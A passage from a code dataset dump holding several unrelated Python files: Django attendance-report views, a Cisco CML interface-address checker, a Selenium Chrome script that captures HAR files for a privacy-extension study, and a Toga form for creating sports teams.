response['Content-Disposition'] = 'attachment; filename=Report.xlsx'\n xlsx_data = ExportToExcel().fill_asistencia_x_estado(self.get_context_data(**kwargs))\n response.write(xlsx_data)\n return response\n\n\nclass ExportPorcentajePersonaProyectoView(BaseReportView, TemplateView):\n def get_context_data(self, **kwargs):\n data = super(ExportPorcentajePersonaProyectoView, self).get_context_data(**kwargs)\n data[\"table\"] = get_porcentaje_cc(\n data[\"fecha_desde\"], data[\"fecha_hasta\"])\n return data\n\n def get(self, request, *args, **kwargs):\n response = HttpResponse(content_type='application/vnd.ms-excel')\n response['Content-Disposition'] = 'attachment; filename=Report.xlsx'\n xlsx_data = ExportToExcel().fill_asistencia_proyecto(self.get_context_data(**kwargs))\n response.write(xlsx_data)\n return response\n\n\nclass IndexResponsable(SupervisorViewMixin, SupervisorBuscarPersonaMixin, TemplateView):\n template_name = \"frontend/index_responsables.html\"\n\n def get_context_data(self, **kwargs):\n data = super(IndexResponsable, self).get_context_data(**kwargs)\n data[\"responsables\"] = [\n (x[0], \"{} {}\".format(x[1], x[2])) for x in\n Responsable.activos.values_list('persona__pk', 'persona__apellido', 'persona__nombre').order_by(\n 'persona').distinct()]\n return data\n\n\nclass VerProyectosAjaxView(SupervisorViewMixin, TemplateView):\n template_name = \"frontend/includes/_index_proyectos.html\"\n\n def get_context_data(self, **kwargs):\n data = super(VerProyectosAjaxView, self).get_context_data(**kwargs)\n pk = self.request.GET.get('pk', None)\n if pk:\n data[\"proyectos\"] = Proyecto.con_personas.filter(responsable_rel__persona_id=pk).all()\n hoy = datetime.now()\n data[\"asistencia_dia\"] = list(Asistencia.objects.filter(\n proyecto__in=data[\"proyectos\"], fecha=hoy).values_list('proyecto__pk', flat=True))\n return data\n\n def get(self, request, *args, **kwargs):\n return self.render_to_response(self.get_context_data())\n\n\nclass AltaAsistenciaView(SupervisorViewMixin, BaseAltaAsistenciaView):\n\n def get_details_asistencia_url(self, pk):\n return reverse_lazy('supervisor_frontend:ver_asistencia', kwargs={'pk': pk})\n\n def get_success_url(self, *args, **kwargs):\n messages.add_message(self.request, messages.SUCCESS,\n \"Asistencia enviada correctamente.\")\n if self.object:\n return reverse_lazy('supervisor_frontend:ver_asistencia',\n kwargs={'pk': self.object.pk})\n else:\n return reverse('supervisor_frontend:index')\n\n\nclass DetailAsistenciaView(SupervisorViewMixin, BaseDetailAsistenciaView):\n pass\n\n\nclass Export2PDFView(SupervisorViewMixin, BaseDetailAsistenciaView):\n\n def get(self, request, *args, **kwargs):\n self.object = self.get_object()\n response = HttpResponse(content_type='application/pdf')\n response['Content-Disposition'] = 'attachement; filename={0}.pdf'.format(self.object.filename_report)\n pdf = PdfPrintAltaAsistencia().get_pdf(self.object)\n response.write(pdf)\n return response\n\n\nclass NotificacionesView(SupervisorViewMixin, BaseNotificacionesView):\n pass\n\n\nclass VerAsistenciaByDate(SupervisorViewMixin, BaseVerAsistenciaByDate):\n pass\n\n\nclass VerAsistenciaAjaxView(SupervisorViewMixin, BaseVerAsistenciaAjaxView):\n pass\n\n\nclass AsistenciaHoyRedirect(SupervisorViewMixin, RedirectView):\n permanent = False\n\n def dispatch(self, request, *args, **kwargs):\n self.object = get_object_or_404(Proyecto, pk=self.kwargs.get('pk'))\n return super(AsistenciaHoyRedirect, self).dispatch(request, *args, **kwargs)\n\n def get(self, request, *args, **kwargs):\n hoy = datetime.now()\n asistencia_hoy = self.object.asistencias.filter(fecha=hoy)\n if not asistencia_hoy:\n messages.add_message(self.request, messages.ERROR, \"Aún no existe el registro de asistencia del día de hoy\")\n self.url = reverse(\"supervisor_frontend:index\")\n else:\n self.url = reverse(\"supervisor_frontend:ver_asistencia\", kwargs={'pk': asistencia_hoy.first().pk})\n return super(AsistenciaHoyRedirect, self).get(request, *args, **kwargs)\n\n\nclass FusionarProyectosView(SupervisorViewMixin, FormView):\n template_name = 'admin/fusionar_proyectos.html'\n form_class = FusionarProyectosForm\n success_url = 'supervisor_frontend:fusionar_proyectos'\n\n def form_valid(self, form):\n p_destino = form.cleaned_data[\"proyecto_destino\"]\n try:\n for p_fusion in form.cleaned_data[\"proyectos_fusion\"]:\n if p_fusion == p_destino:\n continue\n # mover personas\n Persona.objects.filter(proyecto=p_fusion).update(proyecto=p_destino)\n # mover asistencia\n try:\n Asistencia.objects.filter(proyecto=p_fusion).update(proyecto=p_destino)\n except IntegrityError:\n for asist in Asistencia.objects.filter(proyecto=p_fusion):\n nueva, _ = Asistencia.objects.get_or_create(fecha=asist.fecha, proyecto=p_destino)\n RegistroAsistencia.objects.filter(asistencia=asist).update(asistencia=nueva)\n Asistencia.objects.filter(proyecto=p_fusion).delete()\n # Eliminar responsable\n Responsable.objects.filter(proyecto=p_fusion).delete()\n # Eliminar proyecto\n p_fusion.delete()\n messages.add_message(self.request, messages.SUCCESS,\n \"Proyecto {} fusionado con {}.\".format(p_fusion, p_destino))\n if 'nuevo_nombre' in form.cleaned_data and len(form.cleaned_data[\"nuevo_nombre\"]) > 4:\n p_destino.nombre = form.cleaned_data[\"nuevo_nombre\"]\n p_destino.save()\n messages.add_message(self.request, messages.SUCCESS,\n \"Nuevo nombre del proyecto: {} .\".format(p_destino.nombre))\n\n except Exception as e:\n return super(FusionarProyectosView, self).form_invalid(form)\n return HttpResponseRedirect(reverse(self.get_success_url()))\n\n\nclass VerDetallesPersona(SupervisorViewMixin, DetailView):\n\n model = Persona\n template_name = \"frontend/ver_datos_persona.html\"\n\n def get_context_data(self, **kwargs):\n ctx = super(VerDetallesPersona, self).get_context_data(**kwargs)\n qs = RegistroAsistencia.objects.select_related('asistencia').filter(\n persona=self.object).order_by('-asistencia__fecha')\n if \"filtered\" in self.request.GET:\n ctx['filter'] = DetallePersonaFilter(self.request.GET, queryset=qs)\n else:\n ctx['filter'] = DetallePersonaFilter(queryset=qs)\n paginator = Paginator(ctx['filter'].qs, 25)\n try:\n queryset = paginator.page(self.request.GET.get(\"page\", 1))\n except PageNotAnInteger:\n queryset = paginator.page(1)\n except EmptyPage:\n queryset = paginator.page(paginator.num_pages)\n ctx[\"registros\"] = queryset\n ctx[\"total\"], ctx[\"resumen\"] = calcular_porcentaje_estado_muestra(self.object.pk)\n\n return ctx\n\n\nindex = DashboardView.as_view()\nreasignar_personal = ReasignarPersonalView.as_view()\nbaja_personal = BajaPersonalView.as_view()\ndatos_porcentuales = DatosPorcentualesView.as_view()\nasistencia_persona = AsistenciaPorEstadoView.as_view()\nporcentaje_persona_proyecto = PorcentajePersonaProyectoView.as_view()\nresumen_dias_trabajados = ResumenDiasTrabajadosView.as_view()\nexport_porcentual = ExportDatosPorcentualesView.as_view()\nexport_asistencia = ExportAsistenciaPorEstadoView.as_view()\nexport_asistencia_cc = ExportPorcentajePersonaProyectoView.as_view()\nindex_responsable = IndexResponsable.as_view()\nver_proyectos_ajax = VerProyectosAjaxView.as_view()\nalta_asistencia = AltaAsistenciaView.as_view()\nver_asistencia = DetailAsistenciaView.as_view()\nexport_asistencia_pdf = Export2PDFView.as_view()\nupdate_notification = NotificacionesView.as_view()\nver_asistencia_fecha = VerAsistenciaByDate.as_view()\nver_asistencia_ajax = VerAsistenciaAjaxView.as_view()\nfusionar_proyectos = FusionarProyectosView.as_view()\nasistencia_del_dia = AsistenciaHoyRedirect.as_view()\nver_datos_persona = VerDetallesPersona.as_view()","repo_name":"mava-ar/controla","sub_path":"controla/frontend/views/supervisor_views.py","file_name":"supervisor_views.py","file_ext":"py","file_size_in_byte":14900,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"72982156528","text":"#!/usr/bin/env python3\n\nfrom ipaddress import IPv4Interface\nimport sys\nimport csv\nimport json\nimport argparse\nfrom typing import Dict, List, Tuple, Optional\nimport virl2_client as virl\nimport virl2_client.models as virlty\n\nimport autocml\n\ndescription=[\n\t\"Retrieves device interface addresses, and asserts them against a CSV file. \",\n\t\"Can also dump interface addresses to stdout for later comparison.\"\n]\n\ndef optparser():\n\tparser = argparse.ArgumentParser(\n\t\tdescription='\\n'.join(description),\n\t\tparents=[autocml.argparse.root_parser()]\n\t)\n\n\tautocml.argparse.add_lab_desc(parser)\n\n\tparser.add_argument('-j', '--json',\n\t\tdest='json',\n\t\taction='store_true', \n\t\thelp='Output results in JSON format'\n\t)\n\tparser.add_argument('-d', '--dump',\n\t\tdest='dump',\n\t\taction='store_true', \n\t\thelp=\"Scrape the labs' nodes' interfaces and output it to stdout (ignores interface_csv argument)\"\n\t)\n\tparser.add_argument('interface_csv',\n\t\tnargs='?',\n\t\thelp='A comma-seperated-value file, containing rows of \"Node Label\", \"Int\", \"IPv4\"'\n\t)\n\n\treturn parser\n\ndef parse_ip_assertions(intfile: str) -> Dict[str, Dict[str, Optional[IPv4Interface]]]:\n\t\"\"\" Parses the specified csv file from disk into Dict[device, Dict[interface, address]]\"\"\"\n\n\tchecks: Dict[str, Dict[str, Optional[IPv4Interface]]] = dict()\n\tcsv_data = sys.stdin if intfile == '-' else open(intfile)\n\n\tfor li, entry in enumerate(csv.reader(csv_data)):\n\t\tif li == 0:\n\t\t\tassert entry == ['Node Label', 'Int', 'IPv4'], \"Passed interface file is not a valid tab seperated interface descriptor file\"\n\t\telse:\n\t\t\tif len(entry) == 3:\n\t\t\t\tdevice, int, ip = entry\n\t\t\t\tif device not in checks:\n\t\t\t\t\tchecks[device] = dict()\n\n\t\t\t\tif len(ip.strip()) == 0 or ip == '-':\n\t\t\t\t\tchecks[device][int] = None\t\n\t\t\t\telse:\n\t\t\t\t\tchecks[device][int] = IPv4Interface(ip)\n\t\t\t\t\n\t\t\t\tif '/' not in ip and ip != '-':\n\t\t\t\t\tprint(f\"[lint][{intfile}:{li+1}] the IP for {device}.{int} ({ip}) is missing a CIDR-notation subnet\", file=sys.stderr)\n\t\t\telif len(entry) == 0:\n\t\t\t\tpass # ignore blank lines\n\t\t\telse:\n\t\t\t\tprint(f\"[lint][{intfile}:{li+1}] the entry `{repr(entry)}` does not have exactly three values (Node Label, Int, IPv4)\", file=sys.stderr)\n\n\tcsv_data.close()\n\n\treturn checks\n\ndef print_node_results(node: virlty.Node, ints: Dict[str, Optional[IPv4Interface]], checks: Dict[str, Optional[IPv4Interface]], emit_json: bool = False):\n\tfor usrint, exp_addr in checks.items():\n\t\tfor iosint, act_addr in ints.items():\n\t\t\tif autocml.interface_matches(iosint, usrint):\n\t\t\t\tmatches = act_addr == exp_addr\n\n\t\t\t\tif emit_json:\n\t\t\t\t\tdata = {\n\t\t\t\t\t\t'node': node.label,\n\t\t\t\t\t\t'interface': iosint,\n\t\t\t\t\t\t'address': '-' if act_addr is None else str(act_addr),\n\t\t\t\t\t\t'matches': matches,\n\t\t\t\t\t}\n\t\t\t\t\tif not matches: data['expected'] = '-' if exp_addr is None else str(exp_addr)\n\n\t\t\t\t\tprint(json.dumps(data))\n\t\t\t\telse:\n\t\t\t\t\tif act_addr == exp_addr:\n\t\t\t\t\t\tprint(f\"[{node.label}][{iosint}] ✔️ ({str(act_addr)})\")\n\t\t\t\t\telse:\n\t\t\t\t\t\tprint(f\"[{node.label}][{iosint}] ❌ (found {act_addr}, expected {exp_addr})\")\n\t\t\t\t\n\t\t\t\tbreak\n\t\telse:\n\t\t\tprint(f\"[lint][{node.label}][{iosint}] unable to resolve interface\")\n\ndef main(pargs=None):\n\tparser = optparser()\n\targs = parser.parse_args(pargs)\n\n\t# if args.test_args:\n\t# \tprint(args)\n\t# \treturn 1\n\n\tif args.dump and args.interface_csv:\n\t\tparser.error(\"cannot pass an interface file when dumping\")\n\telif not args.dump and not args.interface_csv:\n\t\tparser.error(\"requires an interface file when verifying\")\n\n\tclient = autocml.get_client(args)\n\n\tlabdesc, intfile = args.lab_description, args.interface_csv\n\n\tlab = autocml.resolve_lab(client, labdesc)\n\tif type(lab) == str:\n\t\tprint(lab, file=sys.stderr)\n\t\texit(1)\n\n\tif not args.dump:\n\t\tchecks = parse_ip_assertions(intfile)\n\n\t\tchecksbynode = dict()\n\t\tfor nodedesc in checks.keys():\n\t\t\ttry:\n\t\t\t\tnode = lab.get_node_by_label(nodedesc)\n\t\t\t\tchecksbynode[node] = checks[nodedesc]\n\t\t\texcept virl.NodeNotFound:\n\t\t\t\tprint(f\"Unable to find node by descriptor '{nodedesc}' on {args.user}@{client.get_host()}/{lab.id} (ignoring node, continuing)\")\n\n\t\tints = autocml.for_all(client, lab, autocml.parallel.collect_interfaces, processes=len(lab.nodes()))\n\n\t\tfor node, ints in sorted(ints.items(), key=lambda ent: ent[0].label):\n\t\t\tif node in checksbynode:\n\t\t\t\tif ints is None:\n\t\t\t\t\tif not args.json: print(f\"\\tcould not collect interfaces; not checking\")\n\t\t\t\t\tcontinue\n\n\t\t\t\tif not args.json: print(f\"******** {node.id}/{node.label} on {node.lab.id}/{node.lab.title}\")\n\t\t\t\t\n\t\t\t\t#ints = node_interfaces(client, node)\n\t\t\t\tprint_node_results(node, ints, checksbynode[node], emit_json=args.json)\n\n\telse:\n\t\t# dump it all\n\t\tints = autocml.for_all(client, lab, autocml.parallel.collect_interfaces, processes=len(lab.nodes()))\n\n\t\tfile = sys.stdout\n\t\tif not args.json:\n\t\t\t\n\t\t\twriter = csv.writer(file)\n\t\t\twriter.writerow(['Node Labels', 'Int', 'IPv4'])\n\t\t\tfor node, ints in sorted(ints.items(), key=lambda e: e[0].label):\n\t\t\t\tfor int, addr in sorted(ints.items(), key=lambda e: e[0]):\n\t\t\t\t\twriter.writerow([node.label, int, '-' if addr is None else str(addr)])\n\t\t\n\t\t\t\t\n\t\telse:\n\t\t\tfor node, ints in sorted(ints.items(), key=lambda e: e[0].label):\n\t\t\t\tfor int, addr in sorted(ints.items(), key=lambda e: e[0]):\n\t\t\t\t\tfile.write(json.dumps({\n\t\t\t\t\t\t'node': node.label,\n\t\t\t\t\t\t'interface': int,\n\t\t\t\t\t\t'address': '-' if addr is None else str(addr),\n\t\t\t\t\t}) + '\\n')\n\n\t\tif file != sys.stdout:\n\t\t\tfile.close()\n\n\n\n\nif __name__ == \"__main__\":\n\tmain()\n\n\n","repo_name":"chrismooredev/autocml-py","sub_path":"src/autocml/bin/verify_ints.py","file_name":"verify_ints.py","file_ext":"py","file_size_in_byte":5398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"26280364353","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport argparse\nimport json\nimport pathlib\nimport shutil\nimport subprocess\nimport sys\nimport time\n\nfrom datetime import datetime\n\nimport perfevents\n\nfrom pyvirtualdisplay import Display\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\n\n\ndef main():\n # Parse the command line arguments\n parser = argparse.ArgumentParser()\n parser.add_argument('website')\n parser.add_argument('--timeout', type=int, default=30)\n parser.add_argument('--extensions')\n parser.add_argument('--extensions-wait', type=int, default=15)\n args = parser.parse_args()\n\n # Start X\n vdisplay = Display(visible=False, size=(1920, 1080))\n vdisplay.start()\n\n # Prepare Chrome\n options = Options()\n options.headless = False\n options.add_argument(\"no-sandbox\")\n options.add_argument(\"auto-open-devtools-for-tabs\")\n options.add_extension(\"/home/seluser/measure/harexporttrigger-0.6.3.crx\")\n options.binary_location = \"/usr/bin/google-chrome-stable\"\n\n # Install other addons\n extensions_path = pathlib.Path(\"/home/seluser/measure/extensions\")\n if args.extensions:\n for extension in args.extensions.split(\",\"):\n matches = list(extensions_path.glob(\"{}*.crx\".format(extension)))\n if matches and len(matches) == 1:\n options.add_extension(str(matches[0]))\n\n # Launch Chrome and install our extension for getting HARs\n driver = webdriver.Chrome(options=options)\n driver.set_page_load_timeout(args.timeout)\n\n # Start perf timer\n perf = perfevents.PerfEvents(args.timeout)\n\n # We need to wait for everything to open up properly\n time.sleep(args.extensions_wait)\n\n # Make a page load\n perf.start()\n started = datetime.now()\n driver.get(args.website)\n\n # Once the HAR is on disk in the container, write it to stdout so the host machine can get it\n har_file = \"/home/seluser/measure/har.json\"\n\n def har_file_ready():\n return pathlib.Path(har_file + \".ready\").exists()\n\n while (datetime.now() - started).total_seconds() < args.timeout and not har_file_ready():\n time.sleep(1)\n\n # Stop collecting performance data\n perf_data = perf.stop()\n\n # Read HAR file\n har = {}\n if har_file_ready():\n with open(har_file, 'r') as f:\n har = json.load(f)\n\n driver.quit()\n vdisplay.stop()\n\n json.dump({'har': har, 'perf': perf_data}, sys.stdout)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"noise-lab/privacy-extensions","sub_path":"docker/chrome/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":2509,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"20"} +{"seq_id":"42839334459","text":"# Author: Seth Hobbes, member of Springboro Technologies, LLC DBA Monarch Technologies\r\n# Created: 7/27/2022\r\n# Copyright: Springboro Technologies, LLC DBA Monarch Technologies all rights reserved\r\n# Last Modified: 8/1/2022\r\n\r\nimport toga\r\nfrom toga.style import Pack\r\nfrom toga.style.pack import COLUMN, ROW\r\nfrom datetime import date\r\nfrom coachcompanion.HomeScreen import *\r\nfrom coachcompanion.Choices import *\r\nimport coachcompanion.SportChooser as sc\r\nfrom coachcompanion.SQL_Insert import *\r\nfrom coachcompanion.SQL_Extracts import *\r\n\r\n# This class creates a form that can be used to add a new team\r\nclass Teams(HomeScreen):\r\n def __init__(self, sport, db, app):\r\n super().__init__(db, app)\r\n\r\n # Declare class variables\r\n self.LOOKUPS_COLUMNS = ('LOOKUP_ID, LOOKUP_DESCRIPTION, SYSTEM_DEFAULT_FLAG, USER_DEFAULT_FLAG')\r\n self.LOOKUPS_CONDITIONS = ('LOOKUP_TYPE = \\'OT_RULES\\' AND ACTIVE_FLAG = 1')\r\n # self.TEAMS_COLUMNS = ('MAX_PERIODS', 'OVERTIME_RULE_FLAG', 'OVERTIME_RULE_LOOKUP_ID',\r\n # 'NAME', 'COLOR', 'SPONSOR', 'ACTIVE_FLAG', 'AGE_GROUP', 'YEAR',\r\n # 'SEASON', 'DEFAULT_FLAG', 'CREATED_DATE', 'CREATED_BY_USER_ID',\r\n # 'LAST_MODIFIED_DATE', 'LAST_MODIFIED_BY_USER_ID')\r\n self.TEAMS_CONDITIONS = 'ACTIVE_FLAG = 1'\r\n self.CURRENT_YEAR = date.today().year\r\n self.MIN_INNINGS = 1\r\n self.MAX_INNINGS = 9\r\n self.DEFAULT_INNINGS = 9\r\n self.YES = 'Yes'\r\n self.NO = 'No'\r\n\r\n self.sport = sport\r\n self.overtimeRulesDF = pd.DataFrame\r\n # self.overtimeRulesList = []\r\n \r\n self.overtimeRulesDF = ExtractData(self.DB, self.LOOKUPS_TABLE, self.ALL_COLUMNS, self.LOOKUPS_CONDITIONS)\r\n self.overtimeRulesDF.sort_values(by = ['USER_DEFAULT_FLAG', 'SYSTEM_DEFAULT_FLAG'], ascending = False, inplace = True)\r\n self.activeTeamsDF = ExtractData(self.DB, self.TEAMS_TABLE, self.ALL_COLUMNS, self.TEAMS_CONDITIONS)\r\n\r\n\r\n # This function creates the new team form\r\n def DisplayForm(self):\r\n\r\n # If the sport for the new team is baseball then create a label for the maximum periods\r\n if self.sport == self.BASEBALL or self.sport == self.TEEBALL:\r\n maxPeriodsLabel = toga.Label(\r\n 'Maximum Innings: ',\r\n style = Pack(padding = (0, 0, 0, 50))\r\n )\r\n\r\n # create labels\r\n overtimeRuleFlagLabel = toga.Label(\r\n 'Is overtime allowed? ',\r\n style = Pack(padding = (0, 0, 0, 50))\r\n )\r\n self.overtimeRuleLookupIDLabel = toga.Label(\r\n 'What is the primary overtime rule? ',\r\n style = Pack(padding = (0, 0, 0, 50),\r\n visibility = 'hidden')\r\n )\r\n nameLabel = toga.Label(\r\n 'Team Name: ',\r\n style = Pack(padding = (0, 0, 0, 50))\r\n )\r\n colorLabel = toga.Label(\r\n 'Team Color: ',\r\n style = Pack(padding = (0, 0, 0, 50))\r\n )\r\n sponsorLabel = toga.Label(\r\n 'Team Sponsor: ',\r\n style = Pack(padding = (0, 0, 0, 50))\r\n )\r\n ageGroupLabel = toga.Label(\r\n 'Age Group: ',\r\n style = Pack(padding = (0, 0, 0, 50))\r\n )\r\n yearLabel = toga.Label(\r\n 'Year: ',\r\n style = Pack(padding = (0, 0, 0, 50))\r\n )\r\n seasonLabel = toga.Label(\r\n 'Season: ',\r\n style = Pack(padding = (0, 0, 0, 50))\r\n )\r\n for i in self.activeTeamsDF.index:\r\n if self.activeTeamsDF['DEFAULT_FLAG'][i] == 1:\r\n defaultFlagLabel = toga.Label(\r\n 'You already have a default team',\r\n style = Pack(padding = (0, 0, 0, 50))\r\n )\r\n else:\r\n defaultFlagLabel = toga.Label(\r\n 'Do you want to set this team as your default? ',\r\n style = Pack(padding = (0, 0, 0, 50))\r\n )\r\n self.missingInputsLabel = toga.Label(\r\n 'You must fill out all fields',\r\n style = Pack(padding = (5),\r\n visibility = 'hidden',\r\n color = '#ff0000',\r\n text_align = 'center',\r\n flex = 1)\r\n )\r\n\r\n # Create inputs\r\n if self.sport in (self.BASEBALL, self.TEEBALL): \r\n self.maxPeriodsInput = toga.NumberInput(\r\n style = Pack(flex = 1, padding = (0, 50, 0, 0)),\r\n min_value = self.MIN_INNINGS,\r\n max_value = self.MAX_INNINGS,\r\n default = self.DEFAULT_INNINGS\r\n )\r\n self.overtimeRuleFlagInput = toga.Selection(\r\n items = ['No', 'Yes'],\r\n style = Pack(flex = 1, padding = (0, 50, 0, 0)),\r\n on_select = self.ToggleOvertimeRuleLookup\r\n )\r\n self.overtimeRuleLookupIDInput = toga.Selection(\r\n items = self.overtimeRulesDF['LOOKUP_DESCRIPTION'], \r\n style = Pack(flex = 1, padding = (0, 50, 0, 0),\r\n visibility = 'hidden'),\r\n on_select = self.Test\r\n )\r\n self.nameInput = toga.TextInput(style = Pack(flex = 1, padding = (0, 50, 0, 0)))\r\n self.colorInput = toga.TextInput(style = Pack(flex = 1, padding = (0, 50, 0, 0)))\r\n self.sponsorInput = toga.TextInput(style = Pack(flex = 1, padding = (0, 50, 0, 0)))\r\n self.ageGroupInput = toga.TextInput(style = Pack(flex = 1, padding = (0, 50, 0, 0)))\r\n self.yearInput = toga.NumberInput(\r\n style = Pack(flex = 1, padding = (0, 50, 0, 0)),\r\n min_value = self.CURRENT_YEAR - 5,\r\n max_value = self.CURRENT_YEAR + 5,\r\n default = self.CURRENT_YEAR\r\n )\r\n self.seasonInput = toga.TextInput(style = Pack(flex = 1, padding = (0, 50, 0, 0)))\r\n for i in self.activeTeamsDF.index:\r\n if self.activeTeamsDF['DEFAULT_FLAG'][i] == 1:\r\n self.defaultFlagInput = toga.Selection(\r\n items = ['No', 'Yes'],\r\n style = Pack(flex = 1, padding = (0, 50, 0, 0)),\r\n enabled = False\r\n )\r\n else:\r\n self.defaultFlagInput = toga.Selection(\r\n items = ['Yes', 'No'],\r\n style = Pack(flex = 1, padding = (0, 50, 0, 0)),\r\n enabled = False\r\n )\r\n\r\n # Create layout boxes\r\n if self.sport in (self.BASEBALL, self.TEEBALL): \r\n maxPeriodsBox = toga.Box(style = Pack(direction = ROW, padding = 5))\r\n overTimeRuleFlagBox = toga.Box(style = Pack(direction = ROW, padding = 5))\r\n overtimeRuleLookupIDBox = toga.Box(style = Pack(direction = ROW, padding = 5))\r\n nameBox = toga.Box(style = Pack(direction = ROW, padding = 5))\r\n colorBox = toga.Box(style = Pack(direction = ROW, padding = 5))\r\n sponsorBox = toga.Box(style = Pack(direction = ROW, padding = 5))\r\n ageGroupBox = toga.Box(style = Pack(direction = ROW, padding = 5))\r\n yearBox = toga.Box(style = Pack(direction = ROW, padding = 5))\r\n seasonBox = toga.Box(style = Pack(direction = ROW, padding = 5))\r\n defaultFlagBox = toga.Box(style = Pack(direction = ROW, padding = 5))\r\n missingInputsBox = toga.Box(style = Pack(direction = ROW, padding = 5))\r\n buttonsBox = toga.Box(style = Pack(direction = ROW, padding = 5))\r\n\r\n # Create buttons\r\n saveButton = toga.Button(\r\n 'Save',\r\n on_press = self.SaveTeam,\r\n style = Pack(padding = (5, self.SCREEN_WIDTH / 5, 5, (self.SCREEN_WIDTH / 5 * 3) - 100), width = 50)\r\n )\r\n cancelButton = toga.Button(\r\n 'Cancel',\r\n on_press = self.Cancel,\r\n style = Pack(padding = (5, 0, 5, self.SCREEN_WIDTH / 5), width = 50)\r\n )\r\n\r\n # Create lists of widgets if baseball\r\n if self.sport in (self.BASEBALL, self.TEEBALL):\r\n labelsList = [maxPeriodsLabel, overtimeRuleFlagLabel, self.overtimeRuleLookupIDLabel, nameLabel,\r\n colorLabel, sponsorLabel, ageGroupLabel, yearLabel,\r\n seasonLabel, defaultFlagLabel]\r\n\r\n inputsList = [self.maxPeriodsInput, self.overtimeRuleFlagInput, self.overtimeRuleLookupIDInput, self.nameInput,\r\n self.colorInput, self.sponsorInput, self.ageGroupInput, self.yearInput,\r\n self.seasonInput, self.defaultFlagInput]\r\n\r\n boxesList = [maxPeriodsBox, overTimeRuleFlagBox, overtimeRuleLookupIDBox, nameBox,\r\n colorBox, sponsorBox, ageGroupBox, yearBox, seasonBox,\r\n defaultFlagBox]\r\n # Create lists of widgets if not baseball\r\n else:\r\n labelsList = [overtimeRuleFlagLabel, self.overtimeRuleLookupIDLabel, nameLabel,\r\n colorLabel, sponsorLabel, ageGroupLabel, yearLabel,\r\n seasonLabel, defaultFlagLabel]\r\n\r\n inputsList = [self.overtimeRuleFlagInput, self.overtimeRuleLookupIDInput, self.nameInput,\r\n self.colorInput, self.sponsorInput, self.ageGroupInput, self.yearInput,\r\n self.seasonInput, self.defaultFlagInput]\r\n\r\n boxesList = [overTimeRuleFlagBox, overtimeRuleLookupIDBox, nameBox,\r\n colorBox, sponsorBox, ageGroupBox, yearBox, seasonBox,\r\n defaultFlagBox]\r\n\r\n # Add widgets to layout boxes\r\n for i in range(len(labelsList)):\r\n boxesList[i].add(labelsList[i])\r\n boxesList[i].add(inputsList[i])\r\n self.mainBox.add(boxesList[i])\r\n\r\n\r\n\r\n ############################################################################################################\r\n # Need to find a place to implement this in the Players form, I believe, but for now suffice it to say that it works...\r\n # table = toga.Table(\r\n # ['Lookup_ID', 'Lookup_Desc', 'Default_Flag', 'User_Default']\r\n # )\r\n\r\n # for i in self.overtimeRulesDF.index:\r\n # table.data.insert(i, self.overtimeRulesDF['LOOKUP_ID'][i], self.overtimeRulesDF['LOOKUP_DESCRIPTION'][i],\r\n # self.overtimeRulesDF['SYSTEM_DEFAULT_FLAG'][i], self.overtimeRulesDF['USER_DEFAULT_FLAG'][i])\r\n\r\n # self.mainBox.add(table)\r\n ############################################################################################################\r\n\r\n \r\n missingInputsBox.add(self.missingInputsLabel)\r\n \r\n buttonsBox.add(cancelButton)\r\n buttonsBox.add(saveButton)\r\n\r\n self.mainBox.add(missingInputsBox)\r\n self.mainBox.add(buttonsBox)\r\n\r\n # Return main layout box to the calling function\r\n return self.mainBox\r\n\r\n\r\n # This function clears the display\r\n def RemoveChildren(self):\r\n for child in reversed(self.mainBox.children):\r\n self.mainBox.remove(child)\r\n\r\n # Commit the new team to the database and display the next form\r\n def SaveTeam(self, widget):\r\n\r\n teamsInsertColumns = []\r\n missingInputFlag = ''\r\n # missingTeamNameInputFlag = ''\r\n # missingTeamColorInputFlag = ''\r\n # missingTeamSponsorInputFlag = ''\r\n # missingAgrGroupInputFlag = ''\r\n # missingSeasonInputFlag = ''\r\n # missingInputFlagList = []\r\n\r\n teamsInsertColumns.append('MAX_PERIODS')\r\n if self.sport in (self.BASEBALL, self.TEEBALL):\r\n teamsInsertValues = '(' + str(self.maxPeriodsInput.value)\r\n else:\r\n teamsInsertValues = '(' + str(4)\r\n \r\n teamsInsertColumns.append('OVERTIME_RULE_FLAG')\r\n if self.overtimeRuleFlagInput.value == self.YES:\r\n teamsInsertValues = teamsInsertValues + ', ' + str(1)\r\n teamsInsertColumns.append('OVERTIME_RULE_LOOKUP_ID')\r\n teamsInsertValues = teamsInsertValues + ', ' + \\\r\n str(self.overtimeRulesDF['LOOKUP_ID'][self.overtimeRulesDF.LOOKUP_DESCRIPTION == self.overtimeRuleLookupIDInput.value][1])\r\n else:\r\n teamsInsertValues = teamsInsertValues + ', ' + str(0)\r\n \r\n if self.nameInput.value:\r\n teamsInsertColumns.append('NAME')\r\n teamsInsertValues = teamsInsertValues + ', \"' + str(self.nameInput.value)\r\n else:\r\n missingInputFlag = True\r\n self.nameInput.style.background_color = '#ffcccb'\r\n \r\n if self.colorInput.value:\r\n teamsInsertColumns.append('COLOR')\r\n teamsInsertValues = teamsInsertValues + '\", \"' + str(self.colorInput.value)\r\n else:\r\n missingInputFlag = True\r\n self.colorInput.style.background_color = '#ffcccb'\r\n \r\n if self.sponsorInput.value:\r\n teamsInsertColumns.append('SPONSOR')\r\n teamsInsertValues = teamsInsertValues + '\", \"' + str(self.sponsorInput.value)\r\n else:\r\n missingInputFlag = True\r\n self.sponsorInput.style.background_color = '#ffcccb'\r\n \r\n teamsInsertColumns.append('ACTIVE_FLAG')\r\n teamsInsertValues = teamsInsertValues + '\", ' + str(1)\r\n\r\n if self.ageGroupInput.value:\r\n teamsInsertColumns.append('AGE_GROUP')\r\n teamsInsertValues = teamsInsertValues + ', \"' + str(self.ageGroupInput.value)\r\n else:\r\n missingInputFlag = True\r\n self.ageGroupInput.style.background_color = '#ffcccb'\r\n\r\n teamsInsertColumns.append('YEAR')\r\n teamsInsertValues = teamsInsertValues + '\", ' + str(self.yearInput.value)\r\n\r\n if self.seasonInput.value:\r\n teamsInsertColumns.append('SEASON')\r\n teamsInsertValues = teamsInsertValues + ', \"' + str(self.seasonInput.value)\r\n else:\r\n missingInputFlag = True\r\n 